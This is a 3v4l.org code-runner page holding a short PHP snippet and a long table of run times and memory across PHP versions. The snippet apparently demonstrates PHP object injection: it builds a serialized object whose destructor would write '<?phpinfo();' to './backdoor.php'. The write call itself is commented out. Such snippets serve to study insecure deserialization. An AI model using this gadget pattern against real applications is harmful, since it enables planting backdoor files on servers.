3v4l.org

run code in 300+ PHP versions simultaneously
<?php Class some_class { //Public $logfile = “./log/bla.log”; //Public $data = “THIS IS TEMP”; Public function log(){ //File_put_contents($this->logfile, $this->data); } Public function __destruct() { $this->log(); } } $a = new some_class; $a->logfile = "./backdoor.php"; $a->data = "<?phpinfo();"; print serialize($a);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01116.75
8.3.50.0130.00522.95
8.3.40.0110.00418.98
8.3.30.0100.00319.22
8.3.20.0000.00720.21
8.3.10.0080.00023.61
8.3.00.0050.00319.25
8.2.180.0040.01116.75
8.2.170.0140.00322.96
8.2.160.0100.00320.39
8.2.150.0040.00424.18
8.2.140.0000.00824.66
8.2.130.0090.00026.16
8.2.120.0000.00821.09
8.2.110.0000.00922.08
8.2.100.0110.00417.75
8.2.90.0000.01019.24
8.2.80.0040.00417.97
8.2.70.0050.00317.63
8.2.60.0040.00418.04
8.2.50.0000.00918.07
8.2.40.0050.00319.88
8.2.30.0000.00818.00
8.2.20.0040.00417.74
8.2.10.0040.00417.90
8.2.00.0040.00417.43
8.1.280.0130.00325.92
8.1.270.0040.00423.98
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0060.00323.98
8.1.230.0090.00319.16
8.1.220.0030.00517.74
8.1.210.0050.00318.77
8.1.200.0030.00617.22
8.1.190.0080.00017.11
8.1.180.0020.00518.10
8.1.170.0030.00618.46
8.1.160.0000.00721.99
8.1.150.0000.00718.81
8.1.140.0000.00817.39
8.1.130.0030.00517.89
8.1.120.0000.00717.30
8.1.110.0070.00017.40
8.1.100.0030.00417.46
8.1.90.0000.00717.44
8.1.80.0040.00417.44
8.1.70.0040.00417.29
8.1.60.0050.00317.62
8.1.50.0050.00317.44
8.1.40.0000.00817.43
8.1.30.0040.00417.52
8.1.20.0040.00417.65
8.1.10.0040.00417.60
8.1.00.0000.00717.52
8.0.300.0000.00818.77
8.0.290.0000.00716.75
8.0.280.0050.00318.50
8.0.270.0000.00717.27
8.0.260.0000.00717.17
8.0.250.0030.00316.83
8.0.240.0070.00016.85
8.0.230.0030.00316.94
8.0.220.0040.00416.82
8.0.210.0030.00516.71
8.0.200.0040.00416.81
8.0.190.0040.00416.89
8.0.180.0030.00516.94
8.0.170.0040.00416.74
8.0.160.0040.00416.75
8.0.150.0000.00716.77
8.0.140.0040.00416.80
8.0.130.0000.00613.24
8.0.120.0050.00216.69
8.0.110.0050.00216.81
8.0.100.0040.00416.94
8.0.90.0070.00016.90
8.0.80.0040.01116.79
8.0.70.0070.00016.82
8.0.60.0040.00416.89
8.0.50.0020.00516.85
8.0.30.0110.00917.06
8.0.20.0150.00617.40
8.0.10.0050.00316.93
8.0.00.0100.01116.94
7.4.330.0050.00015.00
7.4.320.0000.00616.54
7.4.300.0060.00016.54
7.4.290.0030.00316.59
7.4.280.0060.00316.63
7.4.270.0030.00316.46
7.4.260.0070.00316.58
7.4.250.0070.00016.54
7.4.240.0000.00716.52
7.4.230.0030.00316.55
7.4.220.0090.00916.72
7.4.210.0050.00816.67
7.4.200.0020.00516.50
7.4.160.0160.00016.47
7.4.150.0140.00917.40
7.4.140.0050.01217.86
7.4.130.0090.01116.49
7.4.120.0090.00816.54
7.4.110.0040.01416.41
7.4.100.0060.01016.26
7.4.90.0130.00316.52
7.4.80.0130.00419.39
7.4.70.0110.00816.25
7.4.60.0140.00616.55
7.4.50.0000.00616.33
7.4.40.0110.01016.39
7.4.30.0070.01016.35
7.4.00.0060.01014.86
7.3.330.0030.00213.16
7.3.320.0030.00313.12
7.3.310.0000.00716.16
7.3.300.0030.00316.21
7.3.290.0060.01216.20
7.3.280.0080.00816.27
7.3.270.0070.01117.40
7.3.260.0090.00916.18
7.3.250.0110.00616.40
7.3.240.0040.01116.38
7.3.230.0040.01216.39
7.3.210.0060.01116.28
7.3.200.0070.01419.39
7.3.190.0080.01516.52
7.3.180.0090.00616.52
7.3.170.0130.00716.27
7.3.160.0090.00616.36
7.2.330.0120.00916.68
7.2.320.0070.01316.43
7.2.310.0090.00916.61
7.2.300.0060.01016.71
7.2.290.0130.00316.70
7.2.60.0000.01616.75
7.2.50.0030.01316.86
7.1.200.0000.01215.62
7.1.70.0040.01117.02
7.1.60.0170.00719.40
7.1.50.0060.01616.93
7.1.00.0130.06722.57
7.0.200.0360.00014.86
7.0.140.0030.07321.93
7.0.60.0170.06719.95
7.0.50.0200.06717.86
7.0.40.0070.07720.02
7.0.30.0330.04720.23
7.0.20.0270.07720.30
7.0.10.0070.06720.26
7.0.00.0100.05320.07
5.6.280.0030.07321.02
5.6.210.0070.08020.70
5.6.200.0000.05318.16
5.6.190.0100.08320.50
5.6.180.0270.05720.43
5.6.170.0230.04320.62
5.6.160.0070.07320.46
5.6.150.0070.04718.14
5.6.140.0170.07018.19
5.6.130.0030.05318.14
5.6.120.0070.05720.90
5.6.110.0170.07320.97
5.6.100.0070.07020.96
5.6.90.0170.07720.95
5.6.80.0100.06020.41
5.5.350.0070.08720.42
5.5.340.0070.04317.95
5.5.330.0100.06320.42
5.5.320.0030.04020.34
5.5.310.0200.04320.34
5.5.300.0100.04017.99
5.5.290.0070.08017.98
5.5.280.0130.05320.87
5.5.270.0030.09020.82
5.5.260.0070.04020.76
5.5.250.0100.07320.68
5.5.240.0230.06020.26
5.4.450.0370.04719.57
5.4.440.0130.04719.32
5.4.430.0200.04319.55
5.4.420.0130.04719.39
5.4.410.0330.04019.39
5.4.400.0230.04318.98
5.4.390.0130.03718.95
5.4.380.0200.06018.84
5.4.370.0100.07318.72
5.4.360.0370.06018.72
5.4.350.0270.06318.61
5.4.340.0500.05318.70
5.4.320.0110.04612.50
5.4.310.0110.04412.50
5.4.300.0100.04412.50
5.4.290.0120.04812.50
5.4.280.0080.04812.39
5.4.270.0080.04712.39
5.4.260.0080.03612.40
5.4.250.0060.03912.39
5.4.240.0070.03512.39
5.4.230.0110.03212.39
5.4.220.0050.03712.39
5.4.210.0040.03712.39
5.4.200.0050.04012.38
5.4.190.0070.03612.39
5.4.180.0050.03612.38
5.4.170.0060.03612.40
5.4.160.0060.03512.39
5.4.150.0020.03912.39
5.4.140.0050.03612.07
5.4.130.0060.03812.05
5.4.120.0050.04212.02
5.4.110.0060.03512.02
5.4.100.0060.03512.01
5.4.90.0080.03412.01
5.4.80.0060.03612.02
5.4.70.0080.03212.00
5.4.60.0090.03212.01
5.4.50.0090.03212.01
5.4.40.0080.03212.00
5.4.30.0050.03612.00
5.4.20.0070.03311.99
5.4.10.0030.03612.00
5.4.00.0060.03611.48
5.3.290.0050.03912.80
5.3.280.0070.03612.71
5.3.270.0040.04012.73
5.3.260.0050.03912.71
5.3.250.0070.03512.72
5.3.240.0060.03612.72
5.3.230.0060.03912.71
5.3.220.0040.03812.68
5.3.210.0040.04012.68
5.3.200.0070.03912.68
5.3.190.0050.03912.68
5.3.180.0060.03712.67
5.3.170.0040.03812.67
5.3.160.0060.03512.67
5.3.150.0060.03612.67
5.3.140.0060.03912.66
5.3.130.0040.04012.66
5.3.120.0040.04012.66
5.3.110.0070.03812.66
5.3.100.0050.03812.12
5.3.90.0080.03412.10
5.3.80.0080.03412.10
5.3.70.0060.03612.10
5.3.60.0080.03412.07
5.3.50.0060.03612.03
5.3.40.0040.03812.03
5.3.30.0040.03811.98
5.3.20.0070.03311.76
5.3.10.0040.03511.73
5.3.00.0060.03811.73
5.2.170.0020.0329.23
5.2.160.0020.0319.22
5.2.150.0070.0289.23
5.2.140.0060.0319.22
5.2.130.0040.0309.18
5.2.120.0070.0269.18
5.2.110.0050.0289.18
5.2.100.0030.0299.18
5.2.90.0050.0289.18
5.2.80.0050.0299.18
5.2.70.0040.0309.18
5.2.60.0030.0329.13
5.2.50.0030.0319.10
5.2.40.0040.0299.08
5.2.30.0060.0279.05
5.2.20.0050.0289.04
5.2.10.0080.0328.95
5.2.00.0050.0418.81
5.1.60.0060.0338.09
5.1.50.0030.0308.09
5.1.40.0070.0218.07
5.1.30.0050.0258.41
5.1.20.0030.0278.44
5.1.10.0040.0258.16
5.1.00.0050.0328.17
5.0.50.0030.0266.64
5.0.40.0020.0276.50
5.0.30.0050.0386.32
5.0.20.0020.0206.28
5.0.10.0010.0226.25
5.0.00.0060.0286.25
4.4.90.0020.0154.78
4.4.80.0010.0164.76
4.4.70.0020.0164.75
4.4.60.0010.0174.75
4.4.50.0010.0174.77
4.4.40.0020.0254.71
4.4.30.0030.0174.76
4.4.20.0030.0234.85
4.4.10.0040.0214.85
4.4.00.0020.0254.76
4.3.110.0030.0154.67
4.3.100.0020.0154.67
4.3.90.0040.0234.63
4.3.80.0040.0264.59
4.3.70.0020.0154.63
4.3.60.0020.0154.63
4.3.50.0030.0164.63
4.3.40.0030.0254.53
4.3.30.0020.0163.30
4.3.20.0040.0203.28
4.3.10.0020.0213.23
4.3.00.0000.02015.62

preferences:
39.97 ms | 401 KiB | 5 Q